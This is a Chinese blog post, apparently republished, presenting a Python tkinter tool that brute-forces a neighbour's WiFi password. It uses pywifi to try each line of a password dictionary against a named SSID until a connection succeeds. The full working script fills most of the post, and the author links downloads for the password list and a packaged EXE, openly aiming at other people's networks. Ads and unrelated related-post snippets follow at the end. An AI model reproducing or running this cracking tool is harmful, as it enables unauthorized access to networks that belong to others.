python破解wifi(暴力破解wf)

自己家的网路实在是差劲的一批…然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是…就开始了愉快的Python之旅~~~主要步骤获取第一个无线网卡断开断开所有的wifi读取密码本设置睡眠时间fromtkinterimport*frompywifiimportconstimportpywifiimporttime#主要步骤:#1、获取第一个无线网卡#2、断开所有的wifi#3、读取密码本#4、设置睡眠时间#测试连接defwi

大家好,又见面了,我是你们的朋友全栈君。

自己家的网路实在是差劲的一批…

然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是…

就开始了愉快的Python之旅,字典密码本和封装好的文件文末获取~~~

主要步骤

  1. 获取第一个无线网卡
  2. 断开断开所有的wifi
  3. 读取密码本
  4. 设置睡眠时间
from tkinter import *
from pywifi import const
import pywifi
import time
 
# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
 
#测试连接
def wificonnect(str,wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status()==const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #wifi的密码
        profile.key = str
        # 网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元,这里需要写点加密单元否则无法连接
        profile.cipher = const.CIPHER_TYPE_CCMP
 
        #删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        #设置新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 连接
        ifaces.connect(tep_profile)
        time.sleep(3)
 
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
 
 
def readPwd():
    # 获取wiif名称
    wifiname = entry.get().strip()
 
    path = r'./wifipwd.txt'
    file = open(path,'r')
    while True:
        try:
            # 读取
            mystr = file.readline().strip()
            # 测试连接
            bool = wificonnect(mystr,wifiname)
            if bool:
                text.insert(END,'密码正确'+mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END,'密码错误'+mystr)
                text.see(END)
                text.update()
 
        except: continue
 
# 创建窗口
root = Tk()
root.title('wifi**')
root.geometry('500x400')
 
# 标签
label = Label(root,text='输入要破解的WIFI名称:')
#定位
label.grid()
#输入控件
entry  = Entry(root,font=('微软雅黑',14))
entry.grid(row=0,column=1)
#列表控件
text =Listbox(root,font=('微软雅黑',14),width=40,height=10)
text.grid(row=1,columnspan=2)
# 按钮
button = Button(root,text = '开始破解',width=20,height=2,command=readPwd)
button.grid(row=2,columnspan=2)
 
# 显示窗口
root.mainloop()

字典文本链接如下:

下载链接:https://taoxiaoxin.lanzous.com/iYOXMkt73ba
密码:txx

封装好的EXE文件

  • 软件截图如下:
    软件截图

EXE文件下载链接如下:

下载链接:https://taoxiaoxin.lanzous.com/iYOXMkt73ba
密码:txx

总结

  • 我这边才开始学python没多久,纯属于Python学习,这个工具其实是非常鸡肋的一个工具,其实敲一下邻居家门,然后递上一支烟,就能解决~~
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/128752.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(3)


相关推荐

  • dfs是什么意思_英语单词搜索软件

    dfs是什么意思_英语单词搜索软件给定一个 m x n 二维字符网格 board 和一个单词(字符串)列表 words,找出所有同时在二维网格和字典中出现的单词。单词必须按照字母顺序,通过 相邻的单元格 内的字母构成,其中“相邻”单元格是那些水平相邻或垂直相邻的单元格。同一个单元格内的字母在一个单词中不允许被重复使用。示例 1:输入:board = [[“o”,”a”,”a”,”n”],[“e”,”t”,”a”,”e”],[“i”,”h”,”k”,”r”],[“i”,”f”,”l”,”v”]], words = [“oath”,

  • “Word在试图打开文件时遇到错误”的解决方法[通俗易懂]

    “Word在试图打开文件时遇到错误”的解决方法[通俗易懂] 大家都应该知道“.DOCX”格式只有Word2007或以上版本才可以打开,Word2003是无法打开的!正好我电脑上03和07都有,所以就答应了。接收文件打开后既然提示“Word在试图打开文件时遇到错误。请尝试下列方法”(如下图)。  还好,本人使用Office办公软件已经很多年了,各方面问题都遇见过,这点小难题难不到我的,三下两下就被我搞定了。相信遇到“W…

  • 2022年最新前端面试题(大前端时代来临卷起来吧小伙子们..持续维护走到哪记到哪)[通俗易懂]

    2022年最新前端面试题(大前端时代来临卷起来吧小伙子们..持续维护走到哪记到哪)[通俗易懂]2022年最新前端面试题热门题目(面经最全版)(蛋糕)…持续维护中,HTML和Css部分vue部分,Null,undefined,Boolean,Number,String,BigInt、BigInt、Object、1.**解构赋值、扩展运算符、class类、模块化importexport、箭头函数、generator函数、promiseletcosnt

  • 克隆节点的方法_手机克隆phone

    克隆节点的方法_手机克隆phone<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8&quo

  • Spring Cloud-鸿鹄Cloud分布式微服务云系统—架构图[通俗易懂]

    Spring Cloud-鸿鹄Cloud分布式微服务云系统—架构图

  • 有监督学习VS无监督学习「建议收藏」

    有监督学习VS无监督学习「建议收藏」事先先说明一下:标签就是指的分好的类别,指明标签就是告诉计算机,这个样本属于哪一类。对于聚类的话,是事先类别都没定义好,但是类别的个数一定要告诉计算机这个问题可以回答得很简单:是否有监督(supervised),就看输入数据是否有标签(label)。输入数据有标签,则为有监督学习,没标签则为无监督学习。首先看什么是学习(learning)?一个成语就可概括:举一反三。此处以高考为例,高考的题目在上

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号